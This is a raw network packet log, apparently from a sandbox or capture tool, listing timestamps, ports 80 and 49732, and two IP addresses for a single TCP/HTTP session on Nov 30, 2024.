Nov 30, 2024 05:00:14.975143909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.975187063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.975697041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.975836039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.975872040 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.976655960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.976716042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.976881981 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.977248907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.977353096 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.977430105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.978215933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.978311062 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.978353024 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.979190111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.979268074 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.979406118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.980084896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.980158091 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.981034994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.981138945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.981167078 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.982007980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.982018948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.982157946 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.982940912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.982964993 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.983117104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.983900070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.983995914 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.984020948 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.984874010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.984961033 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.985001087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.985790968 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.985913992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.986216068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.986757994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.986880064 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.986927032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.987754107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.987875938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.987899065 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.988692045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.988782883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.988924026 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.989635944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.989753962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.989888906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.990629911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.990706921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.990948915 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.991581917 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.991704941 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.991740942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.992526054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.992624998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.992784023 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.993473053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.993577957 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.993705034 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.994437933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.994590998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.994781017 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.995383978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.995512009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.995542049 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.996414900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.996511936 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.997287035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.997328043 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.997421026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.998245955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.998277903 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.998406887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.999202967 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.999243021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:14.999336004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:14.999914885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.000189066 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.000377893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.001149893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.001198053 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.001514912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.002123117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.002163887 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.002213955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.003092051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.003135920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.003218889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.003611088 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.004053116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.004122972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.004173040 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.004976034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.005059958 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.005106926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.005948067 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.006069899 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.006225109 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.006891966 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.007016897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.007054090 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.007858992 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.007941961 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.007997990 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.008809090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.008934975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.008979082 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.009809017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.009953976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.009987116 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.010756969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.010833025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.010906935 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.011701107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.011816978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.011842966 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.012638092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.012798071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.012902021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.013617039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.013730049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.013847113 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.014580011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.014693975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.014748096 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.015516996 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.015645027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.015732050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.016472101 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.016587019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.016674042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.017441034 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.017589092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.017606020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.018330097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.020003080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.050962925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.051017046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.051191092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.051322937 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.051367044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.051477909 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.052169085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.052274942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.053106070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.053226948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.053255081 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.053405046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.054063082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.054177999 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.054270029 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.055057049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.055190086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.055990934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.056027889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.056081057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.056164980 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.056904078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.103918076 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.175977945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.175997019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.176186085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.176492929 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.176563025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.177431107 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.177443027 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.177772999 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.178388119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.178670883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.178782940 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.178899050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.179634094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.179745913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.179874897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.180581093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.180629969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.180929899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.181539059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.181629896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.181691885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.182496071 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.182560921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.182588100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.183459044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.183583021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.183692932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.184408903 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.184531927 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.184772015 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.185373068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.185475111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.185556889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.186337948 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.186449051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.186603069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.187294006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.187378883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.187649012 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.188254118 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.188344955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.188452005 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.189198017 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.189326048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.189361095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.190159082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.190180063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.190222025 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.191113949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.191155910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.191184044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.192090988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.192145109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.192298889 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.193082094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.193191051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.193260908 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.194031954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.194108009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.194216013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.194952011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.195063114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.195111036 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.195919037 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.196012974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.196053028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.196851015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.196966887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.197094917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.197834015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.197935104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.198071003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.198774099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.198892117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.199121952 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.199784994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.199884892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.199903011 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.200683117 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.200783014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.200824022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.201643944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.201773882 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.201913118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.202608109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.202721119 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.202852964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.203599930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.203768015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.203797102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.204529047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.204646111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.204838991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.205482960 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.205600023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.205683947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.206458092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.206562042 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.206665039 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.207403898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.207581043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.207631111 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.208368063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.208410025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.208467007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.209326029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.209434032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.209475994 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.210278988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.210407019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.210410118 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.211244106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.211292028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.212169886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.212220907 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.212235928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.212269068 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.213167906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.213251114 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.213330984 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.214118958 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.214232922 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.214268923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.215058088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.215164900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.215276003 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.216032028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.216083050 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.216113091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.216979980 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.217097044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.217130899 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.217935085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.218045950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.218080044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.218889952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.218997955 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.219038010 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.219808102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.219922066 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.252346039 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.252471924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.252480030 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.252491951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.252551079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.252551079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.253442049 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.253674984 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.253752947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.254400969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.254594088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.254779100 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.255310059 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.255472898 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.255848885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.256258011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.256371975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.256514072 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.257236004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.257355928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.258128881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.258258104 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.377270937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.377477884 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.377561092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.377772093 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.377888918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.377914906 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.378757954 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.378880978 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.378931046 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.379671097 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.380028009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.380038977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.380078077 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.380990028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.381001949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:15.381067038 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:15.381961107 CET	80	49732	141.8.197.146	192.168.2.4
